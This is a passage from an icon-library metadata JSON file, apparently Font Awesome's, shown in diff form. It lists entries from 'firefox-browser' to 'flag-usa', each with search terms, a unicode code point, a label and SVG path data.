2-5,83.28a132.85,132.85,0,0,1-12.12-39.24c-12.24-82.55,43.31-153,94.31-170.51-27.48-24-96.47-22.31-147.71,15.36-29.88,22-51.23,53.16-62.51,90.36,1.68-20.88,9.6-52.08,25.8-83.88-17.16,8.88-39,37-49.8,62.88-15.6,37.43-21,82.19-16.08,124.79.36,3.24.72,6.36,1.08,9.6,19.92,117.11,122,206.38,244.78,206.38C392.77,503.42,504,392.19,504,255,503.88,250.48,503.76,245.92,503.52,241.48Z" + } + }, + "free": [ + "brands" + ] + }, + "firefox-browser": { + "changes": [ + "5.12.0", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [ + "browser" + ] + }, + "styles": [ + "brands" + ], + "unicode": "e007", + "label": "Firefox Browser", + "voted": false, + "svg": { + "brands": { + "last_modified": 1573074807763, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M189.37,152.86Zm-58.74-29.37C130.79,123.5,130.71,123.5,130.63,123.49Zm351.42,45.35c-10.61-25.5-32.08-53-48.94-61.73,13.72,26.89,21.67,53.88,24.7,74,0,0,0,.14.05.41-27.58-68.75-74.35-96.47-112.55-156.83-1.93-3.05-3.86-6.11-5.74-9.33-1-1.65-1.86-3.34-2.69-5.05A44.88,44.88,0,0,1,333.24.69a.63.63,0,0,0-.55-.66.9.9,0,0,0-.46,0l-.12.07-.18.1.1-.14c-54.23,31.77-76.72,87.38-82.5,122.78a130,130,0,0,0-48.33,12.33,6.25,6.25,0,0,0-3.09,7.75,6.13,6.13,0,0,0,7.79,3.79l.52-.21a117.84,117.84,0,0,1,42.11-11l1.42-.1c2-.12,4-.2,6-.22A122.61,122.61,0,0,1,291,140c.67.2,1.32.42,2,.63,1.89.57,3.76,1.2,5.62,1.87,1.36.5,2.71,1,4.05,1.58,1.09.44,2.18.88,3.25,1.35q2.52,1.13,5,2.35c.75.37,1.5.74,2.25,1.13q2.4,1.26,4.74,2.63,1.51.87,3,1.8a124.89,124.89,0,0,1,42.66,44.13c-13-9.15-36.35-18.19-58.82-14.28,87.74,43.86,64.18,194.9-57.39,189.2a108.43,108.43,0,0,1-31.74-6.12c-2.42-.91-4.8-1.89-7.16-2.93-1.38-.63-2.76-1.27-4.12-2C174.5,346,149.9,316.92,146.83,281.59c0,0,11.25-41.95,80.62-41.95,7.5,0,28.93-20.92,29.33-27-.09-2-42.54-18.87-59.09-35.18-8.85-8.71-13.05-12.91-16.77-16.06a69.58,69.58,0,0,0-6.31-4.77A113.05,113.05,0,0,1,173.92,97c-25.06,11.41-44.55,29.45-58.71,45.37h-.12c-9.67-12.25-9-52.65-8.43-61.08-.12-.53-7.22,3.68-8.15,4.31a178.54,178.54,0,0,0-23.84,20.43A214,214,0,0,0,51.9,133.36l0,0a.08.08,0,0,1,0,0,205.84,205.84,0,0,0-32.73,73.9c-.06.27-2.33,10.21-4,22.48q-.42,2.87-.78,5.74c-.57,3.69-1,7.71-1.44,14,0,.24,0,.48-.05.72-.18,2.71-.34,5.41-.49,8.12,0,.41,0,.82,0,1.24,0,134.7,109.21,243.89,243.92,243.89,120.64,0,220.82-87.58,240.43-202.62.41-3.12.74-6.26,1.11-9.41,4.85-41.83-.54-85.79-15.82-122.55Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M189.37,152.86Zm-58.74-29.37C130.79,123.5,130.71,123.5,130.63,123.49Zm351.42,45.35c-10.61-25.5-32.08-53-48.94-61.73,13.72,26.89,21.67,53.88,24.7,74,0,0,0,.14.05.41-27.58-68.75-74.35-96.47-112.55-156.83-1.93-3.05-3.86-6.11-5.74-9.33-1-1.65-1.86-3.34-2.69-5.05A44.88,44.88,0,0,1,333.24.69a.63.63,0,0,0-.55-.66.9.9,0,0,0-.46,0l-.12.07-.18.1.1-.14c-54.23,31.77-76.72,87.38-82.5,122.78a130,130,0,0,0-48.33,12.33,6.25,6.25,0,0,0-3.09,7.75,6.13,6.13,0,0,0,7.79,3.79l.52-.21a117.84,117.84,0,0,1,42.11-11l1.42-.1c2-.12,4-.2,6-.22A122.61,122.61,0,0,1,291,140c.67.2,1.32.42,2,.63,1.89.57,3.76,1.2,5.62,1.87,1.36.5,2.71,1,4.05,1.58,1.09.44,2.18.88,3.25,1.35q2.52,1.13,5,2.35c.75.37,1.5.74,2.25,1.13q2.4,1.26,4.74,2.63,1.51.87,3,1.8a124.89,124.89,0,0,1,42.66,44.13c-13-9.15-36.35-18.19-58.82-14.28,87.74,43.86,64.18,194.9-57.39,189.2a108.43,108.43,0,0,1-31.74-6.12c-2.42-.91-4.8-1.89-7.16-2.93-1.38-.63-2.76-1.27-4.12-2C174.5,346,149.9,316.92,146.83,281.59c0,0,11.25-41.95,80.62-41.95,7.5,0,28.93-20.92,29.33-27-.09-2-42.54-18.87-59.09-35.18-8.85-8.71-13.05-12.91-16.77-16.06a69.58,69.58,0,0,0-6.31-4.77A113.05,113.05,0,0,1,173.92,97c-25.06,11.41-44.55,29.45-58.71,45.37h-.12c-9.67-12.25-9-52.65-8.43-61.08-.12-.53-7.22,3.68-8.15,4.31a178.54,178.54,0,0,0-23.84,20.43A214,214,0,0,0,51.9,133.36l0,0a.08.08,0,0,1,0,0,205.84,205.84,0,0,0-32.73,73.9c-.06.27-2.33,10.21-4,22.48q-.42,2.87-.78,5.74c-.57,3.69-1,7.71-1.44,14,0,.24,0,.48-.05.72-.18,2.71-.34,5.41-.49,8.12,0,.41,0,.82,0,1.24,0,134.7,109.21,243.89,243.92,243.89,120.64,0,220.82-87.58,240.43-202.62.41-3.12.74-6.26,1.11-9.41,4.85-41.83-.54-85.79-15.82-122.55Z" + } + }, + "free": [ + "brands" + ] + }, + "first-aid": { + "changes": [ + "5.0.7" + ], + "ligatures": [], + "search": { + "terms": [ + "emergency", + "emt", + "health", + "medical", + "rescue" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f479", + "label": "First Aid", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635487, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 80v352c0 26.5 21.5 48 48 48h48V32H48C21.5 32 0 53.5 0 80zm128 400h320V32H128v448zm64-248c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48zM528 32h-48v448h48c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M0 80v352c0 26.5 21.5 48 48 48h48V32H48C21.5 32 0 53.5 0 80zm128 400h320V32H128v448zm64-248c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48zM528 32h-48v448h48c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48z" + } + }, + "free": [ + "solid" + ] + }, + "first-order": { + "changes": [ + "4.6", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f2b0", + "label": "First Order", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860986, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M12.9 229.2c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4h-.2zM224 96.6c-7.1 0-14.6.6-21.4 1.7l3.7 67.4-22-64c-14.3 3.7-27.7 9.4-40 16.6l29.4 61.4-45.1-50.9c-11.4 8.9-21.7 19.1-30.6 30.9l50.6 45.4-61.1-29.7c-7.1 12.3-12.9 25.7-16.6 40l64.3 22.6-68-4c-.9 7.1-1.4 14.6-1.4 22s.6 14.6 1.4 21.7l67.7-4-64 22.6c3.7 14.3 9.4 27.7 16.6 40.3l61.1-29.7L97.7 352c8.9 11.7 19.1 22.3 30.9 30.9l44.9-50.9-29.5 61.4c12.3 7.4 25.7 13.1 40 16.9l22.3-64.6-4 68c7.1 1.1 14.6 1.7 21.7 1.7 7.4 0 14.6-.6 21.7-1.7l-4-68.6 22.6 65.1c14.3-4 27.7-9.4 40-16.9L274.9 332l44.9 50.9c11.7-8.9 22-19.1 30.6-30.9l-50.6-45.1 61.1 29.4c7.1-12.3 12.9-25.7 16.6-40.3l-64-22.3 67.4 4c1.1-7.1 1.4-14.3 1.4-21.7s-.3-14.9-1.4-22l-67.7 4 64-22.3c-3.7-14.3-9.1-28-16.6-40.3l-60.9 29.7 50.6-45.4c-8.9-11.7-19.1-22-30.6-30.9l-45.1 50.9 29.4-61.1c-12.3-7.4-25.7-13.1-40-16.9L241.7 166l4-67.7c-7.1-1.2-14.3-1.7-21.7-1.7zM443.4 128v256L224 512 4.6 384V128L224 0l219.4 128zm-17.1 10.3L224 20.9 21.7 138.3v235.1L224 491.1l202.3-117.7V138.3zM224 37.1l187.7 109.4v218.9L224 474.9 36.3 365.4V146.6L224 37.1zm0 50.9c-92.3 0-166.9 75.1-166.9 168 0 92.6 74.6 167.7 166.9 167.7 92 0 166.9-75.1 166.9-167.7 0-92.9-74.9-168-166.9-168z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M12.9 229.2c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4h-.2zM224 96.6c-7.1 0-14.6.6-21.4 1.7l3.7 67.4-22-64c-14.3 3.7-27.7 9.4-40 16.6l29.4 61.4-45.1-50.9c-11.4 8.9-21.7 19.1-30.6 30.9l50.6 45.4-61.1-29.7c-7.1 12.3-12.9 25.7-16.6 40l64.3 22.6-68-4c-.9 7.1-1.4 14.6-1.4 22s.6 14.6 1.4 21.7l67.7-4-64 22.6c3.7 14.3 9.4 27.7 16.6 40.3l61.1-29.7L97.7 352c8.9 11.7 19.1 22.3 30.9 30.9l44.9-50.9-29.5 61.4c12.3 7.4 25.7 13.1 40 16.9l22.3-64.6-4 68c7.1 1.1 14.6 1.7 21.7 1.7 7.4 0 14.6-.6 21.7-1.7l-4-68.6 22.6 65.1c14.3-4 27.7-9.4 40-16.9L274.9 332l44.9 50.9c11.7-8.9 22-19.1 30.6-30.9l-50.6-45.1 61.1 29.4c7.1-12.3 12.9-25.7 16.6-40.3l-64-22.3 67.4 4c1.1-7.1 1.4-14.3 1.4-21.7s-.3-14.9-1.4-22l-67.7 4 64-22.3c-3.7-14.3-9.1-28-16.6-40.3l-60.9 29.7 50.6-45.4c-8.9-11.7-19.1-22-30.6-30.9l-45.1 50.9 29.4-61.1c-12.3-7.4-25.7-13.1-40-16.9L241.7 166l4-67.7c-7.1-1.2-14.3-1.7-21.7-1.7zM443.4 128v256L224 512 4.6 384V128L224 0l219.4 128zm-17.1 10.3L224 20.9 21.7 138.3v235.1L224 491.1l202.3-117.7V138.3zM224 37.1l187.7 109.4v218.9L224 474.9 36.3 365.4V146.6L224 37.1zm0 50.9c-92.3 0-166.9 75.1-166.9 168 0 92.6 74.6 167.7 166.9 167.7 92 0 166.9-75.1 166.9-167.7 0-92.9-74.9-168-166.9-168z" + } + }, + "free": [ + "brands" + ] + }, + "first-order-alt": { + "changes": [ + "5.0.12" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f50a", + "label": "Alternate First Order", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860986, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 488.21C115.34 496.21 7.79 388.66 7.79 256S115.34 15.79 248 15.79 488.21 123.34 488.21 256 380.66 496.21 248 496.21zm0-459.92C126.66 36.29 28.29 134.66 28.29 256S126.66 475.71 248 475.71 467.71 377.34 467.71 256 369.34 36.29 248 36.29zm0 431.22c-116.81 0-211.51-94.69-211.51-211.51S131.19 44.49 248 44.49 459.51 139.19 459.51 256 364.81 467.51 248 467.51zm186.23-162.98a191.613 191.613 0 0 1-20.13 48.69l-74.13-35.88 61.48 54.82a193.515 193.515 0 0 1-37.2 37.29l-54.8-61.57 35.88 74.27a190.944 190.944 0 0 1-48.63 20.23l-27.29-78.47 4.79 82.93c-8.61 1.18-17.4 1.8-26.33 1.8s-17.72-.62-26.33-1.8l4.76-82.46-27.15 78.03a191.365 191.365 0 0 1-48.65-20.2l35.93-74.34-54.87 61.64a193.85 193.85 0 0 1-37.22-37.28l61.59-54.9-74.26 35.93a191.638 191.638 0 0 1-20.14-48.69l77.84-27.11-82.23 4.76c-1.16-8.57-1.78-17.32-1.78-26.21 0-9 .63-17.84 1.82-26.51l82.38 4.77-77.94-27.16a191.726 191.726 0 0 1 20.23-48.67l74.22 35.92-61.52-54.86a193.85 193.85 0 0 1 37.28-37.22l54.76 61.53-35.83-74.17a191.49 191.49 0 0 1 48.65-20.13l26.87 77.25-4.71-81.61c8.61-1.18 17.39-1.8 26.32-1.8s17.71.62 26.32 1.8l-4.74 82.16 27.05-77.76c17.27 4.5 33.6 11.35 48.63 20.17l-35.82 74.12 54.72-61.47a193.13 193.13 0 0 1 37.24 37.23l-61.45 54.77 74.12-35.86a191.515 191.515 0 0 1 20.2 48.65l-77.81 27.1 82.24-4.75c1.19 8.66 1.82 17.5 1.82 26.49 0 8.88-.61 17.63-1.78 26.19l-82.12-4.75 77.72 27.09z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 488.21C115.34 496.21 7.79 388.66 7.79 256S115.34 15.79 248 15.79 488.21 123.34 488.21 256 380.66 496.21 248 496.21zm0-459.92C126.66 36.29 28.29 134.66 28.29 256S126.66 475.71 248 475.71 467.71 377.34 467.71 256 369.34 36.29 248 36.29zm0 431.22c-116.81 0-211.51-94.69-211.51-211.51S131.19 44.49 248 44.49 459.51 139.19 459.51 256 364.81 467.51 248 467.51zm186.23-162.98a191.613 191.613 0 0 1-20.13 48.69l-74.13-35.88 61.48 54.82a193.515 193.515 0 0 1-37.2 37.29l-54.8-61.57 35.88 74.27a190.944 190.944 0 0 1-48.63 20.23l-27.29-78.47 4.79 82.93c-8.61 1.18-17.4 1.8-26.33 1.8s-17.72-.62-26.33-1.8l4.76-82.46-27.15 78.03a191.365 191.365 0 0 1-48.65-20.2l35.93-74.34-54.87 61.64a193.85 193.85 0 0 1-37.22-37.28l61.59-54.9-74.26 35.93a191.638 191.638 0 0 1-20.14-48.69l77.84-27.11-82.23 4.76c-1.16-8.57-1.78-17.32-1.78-26.21 0-9 .63-17.84 1.82-26.51l82.38 4.77-77.94-27.16a191.726 191.726 0 0 1 20.23-48.67l74.22 35.92-61.52-54.86a193.85 193.85 0 0 1 37.28-37.22l54.76 61.53-35.83-74.17a191.49 191.49 0 0 1 48.65-20.13l26.87 77.25-4.71-81.61c8.61-1.18 17.39-1.8 26.32-1.8s17.71.62 26.32 1.8l-4.74 82.16 27.05-77.76c17.27 4.5 33.6 11.35 48.63 20.17l-35.82 74.12 54.72-61.47a193.13 193.13 0 0 1 37.24 37.23l-61.45 54.77 74.12-35.86a191.515 191.515 0 0 1 20.2 48.65l-77.81 27.1 82.24-4.75c1.19 8.66 1.82 17.5 1.82 26.49 0 8.88-.61 17.63-1.78 26.19l-82.12-4.75 77.72 27.09z" + } + }, + "free": [ + "brands" + ] + }, + "firstdraft": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3a1", + "label": "firstdraft", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860987, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M384 192h-64v128H192v128H0v-25.6h166.4v-128h128v-128H384V192zm-25.6 38.4v128h-128v128H64V512h192V384h128V230.4h-25.6zm25.6 192h-89.6V512H320v-64h64v-25.6zM0 0v384h128V256h128V128h128V0H0z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M384 192h-64v128H192v128H0v-25.6h166.4v-128h128v-128H384V192zm-25.6 38.4v128h-128v128H64V512h192V384h128V230.4h-25.6zm25.6 192h-89.6V512H320v-64h64v-25.6zM0 0v384h128V256h128V128h128V0H0z" + } + }, + "free": [ + "brands" + ] + }, + "fish": { + "changes": [ + "5.1.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "fauna", + "gold", + "seafood", + "swimming" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f578", + "label": "Fish", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635488, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M327.1 96c-89.97 0-168.54 54.77-212.27 101.63L27.5 131.58c-12.13-9.18-30.24.6-27.14 14.66L24.54 256 .35 365.77c-3.1 14.06 15.01 23.83 27.14 14.66l87.33-66.05C158.55 361.23 237.13 416 327.1 416 464.56 416 576 288 576 256S464.56 96 327.1 96zm87.43 184c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24 13.26 0 24 10.74 24 24 0 13.25-10.75 24-24 24z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M327.1 96c-89.97 0-168.54 54.77-212.27 101.63L27.5 131.58c-12.13-9.18-30.24.6-27.14 14.66L24.54 256 .35 365.77c-3.1 14.06 15.01 23.83 27.14 14.66l87.33-66.05C158.55 361.23 237.13 416 327.1 416 464.56 416 576 288 576 256S464.56 96 327.1 96zm87.43 184c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24 13.26 0 24 10.74 24 24 0 13.25-10.75 24-24 24z" + } + }, + "free": [ + "solid" + ] + }, + "fist-raised": { + "changes": [ + "5.4.0" + ], + "ligatures": [], + "search": { + "terms": [ + "Dungeons & Dragons", + "d&d", + "dnd", + "fantasy", + "hand", + "ki", + "monk", + "resist", + "strength", + "unarmed combat" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f6de", + "label": "Raised Fist", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635488, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M255.98 160V16c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v146.93c5.02-1.78 10.34-2.93 15.97-2.93h48.03zm128 95.99c-.01-35.34-28.66-63.99-63.99-63.99H207.85c-8.78 0-15.9 7.07-15.9 15.85v.56c0 26.27 21.3 47.59 47.57 47.59h35.26c9.68 0 13.2 3.58 13.2 8v16.2c0 4.29-3.59 7.78-7.88 8-44.52 2.28-64.16 24.71-96.05 72.55l-6.31 9.47a7.994 7.994 0 0 1-11.09 2.22l-13.31-8.88a7.994 7.994 0 0 1-2.22-11.09l6.31-9.47c15.73-23.6 30.2-43.26 47.31-58.08-17.27-5.51-31.4-18.12-38.87-34.45-6.59 3.41-13.96 5.52-21.87 5.52h-32c-12.34 0-23.49-4.81-32-12.48C71.48 251.19 60.33 256 48 256H16c-5.64 0-10.97-1.15-16-2.95v77.93c0 33.95 13.48 66.5 37.49 90.51L63.99 448v64h255.98v-63.96l35.91-35.92A96.035 96.035 0 0 0 384 344.21l-.02-88.22zm-32.01-90.09V48c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v112h32c11.28 0 21.94 2.31 32 5.9zM16 224h32c8.84 0 16-7.16 16-16V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v128c0 8.84 7.16 16 16 16zm95.99 0h32c8.84 0 16-7.16 16-16V48c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v160c0 8.84 7.16 16 16 16z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M255.98 160V16c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v146.93c5.02-1.78 10.34-2.93 15.97-2.93h48.03zm128 95.99c-.01-35.34-28.66-63.99-63.99-63.99H207.85c-8.78 0-15.9 7.07-15.9 15.85v.56c0 26.27 21.3 47.59 47.57 47.59h35.26c9.68 0 13.2 3.58 13.2 8v16.2c0 4.29-3.59 7.78-7.88 8-44.52 2.28-64.16 24.71-96.05 72.55l-6.31 9.47a7.994 7.994 0 0 1-11.09 2.22l-13.31-8.88a7.994 7.994 0 0 1-2.22-11.09l6.31-9.47c15.73-23.6 30.2-43.26 47.31-58.08-17.27-5.51-31.4-18.12-38.87-34.45-6.59 3.41-13.96 5.52-21.87 5.52h-32c-12.34 0-23.49-4.81-32-12.48C71.48 251.19 60.33 256 48 256H16c-5.64 0-10.97-1.15-16-2.95v77.93c0 33.95 13.48 66.5 37.49 90.51L63.99 448v64h255.98v-63.96l35.91-35.92A96.035 96.035 0 0 0 384 344.21l-.02-88.22zm-32.01-90.09V48c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v112h32c11.28 0 21.94 2.31 32 5.9zM16 224h32c8.84 0 16-7.16 16-16V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v128c0 8.84 7.16 16 16 16zm95.99 0h32c8.84 0 16-7.16 16-16V48c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v160c0 8.84 7.16 16 16 16z" + } + }, + "free": [ + "solid" + ] + }, + "flag": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "country", + "notice", + "notification", + "notify", + "pole", + "report", + "symbol" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f024", + "label": "flag", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635489, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M349.565 98.783C295.978 98.783 251.721 64 184.348 64c-24.955 0-47.309 4.384-68.045 12.013a55.947 55.947 0 0 0 3.586-23.562C118.117 24.015 94.806 1.206 66.338.048 34.345-1.254 8 24.296 8 56c0 19.026 9.497 35.825 24 45.945V488c0 13.255 10.745 24 24 24h16c13.255 0 24-10.745 24-24v-94.4c28.311-12.064 63.582-22.122 114.435-22.122 53.588 0 97.844 34.783 165.217 34.783 48.169 0 86.667-16.294 122.505-40.858C506.84 359.452 512 349.571 512 339.045v-243.1c0-23.393-24.269-38.87-45.485-29.016-34.338 15.948-76.454 31.854-116.95 31.854z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M349.565 98.783C295.978 98.783 251.721 64 184.348 64c-24.955 0-47.309 4.384-68.045 12.013a55.947 55.947 0 0 0 3.586-23.562C118.117 24.015 94.806 1.206 66.338.048 34.345-1.254 8 24.296 8 56c0 19.026 9.497 35.825 24 45.945V488c0 13.255 10.745 24 24 24h16c13.255 0 24-10.745 24-24v-94.4c28.311-12.064 63.582-22.122 114.435-22.122 53.588 0 97.844 34.783 165.217 34.783 48.169 0 86.667-16.294 122.505-40.858C506.84 359.452 512 349.571 512 339.045v-243.1c0-23.393-24.269-38.87-45.485-29.016-34.338 15.948-76.454 31.854-116.95 31.854z" + }, + "regular": { + "last_modified": 1628088634811, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M336.174 80c-49.132 0-93.305-32-161.913-32-31.301 0-58.303 6.482-80.721 15.168a48.04 48.04 0 0 0 2.142-20.727C93.067 19.575 74.167 1.594 51.201.104 23.242-1.71 0 20.431 0 48c0 17.764 9.657 33.262 24 41.562V496c0 8.837 7.163 16 16 16h16c8.837 0 16-7.163 16-16v-83.443C109.869 395.28 143.259 384 199.826 384c49.132 0 93.305 32 161.913 32 58.479 0 101.972-22.617 128.548-39.981C503.846 367.161 512 352.051 512 335.855V95.937c0-34.459-35.264-57.768-66.904-44.117C409.193 67.309 371.641 80 336.174 80zM464 336c-21.783 15.412-60.824 32-102.261 32-59.945 0-102.002-32-161.913-32-43.361 0-96.379 9.403-127.826 24V128c21.784-15.412 60.824-32 102.261-32 59.945 0 102.002 32 161.913 32 43.271 0 96.32-17.366 127.826-32v240z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M336.174 80c-49.132 0-93.305-32-161.913-32-31.301 0-58.303 6.482-80.721 15.168a48.04 48.04 0 0 0 2.142-20.727C93.067 19.575 74.167 1.594 51.201.104 23.242-1.71 0 20.431 0 48c0 17.764 9.657 33.262 24 41.562V496c0 8.837 7.163 16 16 16h16c8.837 0 16-7.163 16-16v-83.443C109.869 395.28 143.259 384 199.826 384c49.132 0 93.305 32 161.913 32 58.479 0 101.972-22.617 128.548-39.981C503.846 367.161 512 352.051 512 335.855V95.937c0-34.459-35.264-57.768-66.904-44.117C409.193 67.309 371.641 80 336.174 80zM464 336c-21.783 15.412-60.824 32-102.261 32-59.945 0-102.002-32-161.913-32-43.361 0-96.379 9.403-127.826 24V128c21.784-15.412 60.824-32 102.261-32 59.945 0 102.002 32 161.913 32 43.271 0 96.32-17.366 127.826-32v240z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "flag-checkered": { + "changes": [ + "3.1", + "5.0.0", + "5.7.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "notice", + "notification", + "notify", + "pole", + "racing", + "report", + "symbol" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f11e", + "label": "flag-checkered", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635489, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M243.2 189.9V258c26.1 5.9 49.3 15.6 73.6 22.3v-68.2c-26-5.8-49.4-15.5-73.6-22.2zm223.3-123c-34.3 15.9-76.5 31.9-117 31.9C296 98.8 251.7 64 184.3 64c-25 0-47.3 4.4-68 12 2.8-7.3 4.1-15.2 3.6-23.6C118.1 24 94.8 1.2 66.3 0 34.3-1.3 8 24.3 8 56c0 19 9.5 35.8 24 45.9V488c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24v-94.4c28.3-12.1 63.6-22.1 114.4-22.1 53.6 0 97.8 34.8 165.2 34.8 48.2 0 86.7-16.3 122.5-40.9 8.7-6 13.8-15.8 13.8-26.4V95.9c.1-23.3-24.2-38.8-45.4-29zM169.6 325.5c-25.8 2.7-50 8.2-73.6 16.6v-70.5c26.2-9.3 47.5-15 73.6-17.4zM464 191c-23.6 9.8-46.3 19.5-73.6 23.9V286c24.8-3.4 51.4-11.8 73.6-26v70.5c-25.1 16.1-48.5 24.7-73.6 27.1V286c-27 3.7-47.9 1.5-73.6-5.6v67.4c-23.9-7.4-47.3-16.7-73.6-21.3V258c-19.7-4.4-40.8-6.8-73.6-3.8v-70c-22.4 3.1-44.6 10.2-73.6 20.9v-70.5c33.2-12.2 50.1-19.8 73.6-22v71.6c27-3.7 48.4-1.3 73.6 5.7v-67.4c23.7 7.4 47.2 16.7 73.6 21.3v68.4c23.7 5.3 47.6 6.9 73.6 2.7V143c27-4.8 52.3-13.6 73.6-22.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M243.2 189.9V258c26.1 5.9 49.3 15.6 73.6 22.3v-68.2c-26-5.8-49.4-15.5-73.6-22.2zm223.3-123c-34.3 15.9-76.5 31.9-117 31.9C296 98.8 251.7 64 184.3 64c-25 0-47.3 4.4-68 12 2.8-7.3 4.1-15.2 3.6-23.6C118.1 24 94.8 1.2 66.3 0 34.3-1.3 8 24.3 8 56c0 19 9.5 35.8 24 45.9V488c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24v-94.4c28.3-12.1 63.6-22.1 114.4-22.1 53.6 0 97.8 34.8 165.2 34.8 48.2 0 86.7-16.3 122.5-40.9 8.7-6 13.8-15.8 13.8-26.4V95.9c.1-23.3-24.2-38.8-45.4-29zM169.6 325.5c-25.8 2.7-50 8.2-73.6 16.6v-70.5c26.2-9.3 47.5-15 73.6-17.4zM464 191c-23.6 9.8-46.3 19.5-73.6 23.9V286c24.8-3.4 51.4-11.8 73.6-26v70.5c-25.1 16.1-48.5 24.7-73.6 27.1V286c-27 3.7-47.9 1.5-73.6-5.6v67.4c-23.9-7.4-47.3-16.7-73.6-21.3V258c-19.7-4.4-40.8-6.8-73.6-3.8v-70c-22.4 3.1-44.6 10.2-73.6 20.9v-70.5c33.2-12.2 50.1-19.8 73.6-22v71.6c27-3.7 48.4-1.3 73.6 5.7v-67.4c23.7 7.4 47.2 16.7 73.6 21.3v68.4c23.7 5.3 47.6 6.9 73.6 2.7V143c27-4.8 52.3-13.6 73.6-22.5z" + } + }, + "free": [ + "solid" + ] + }, + "flag-usa": { + "changes": [ + "5.5.0" + ], + "ligatures": [], + "search": { + "terms": [ + "betsy ross", + "country", + "old glory", + "stars", + "stripes", + "symbol" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f74d", + "label": "United States of America Flag", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635489, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path 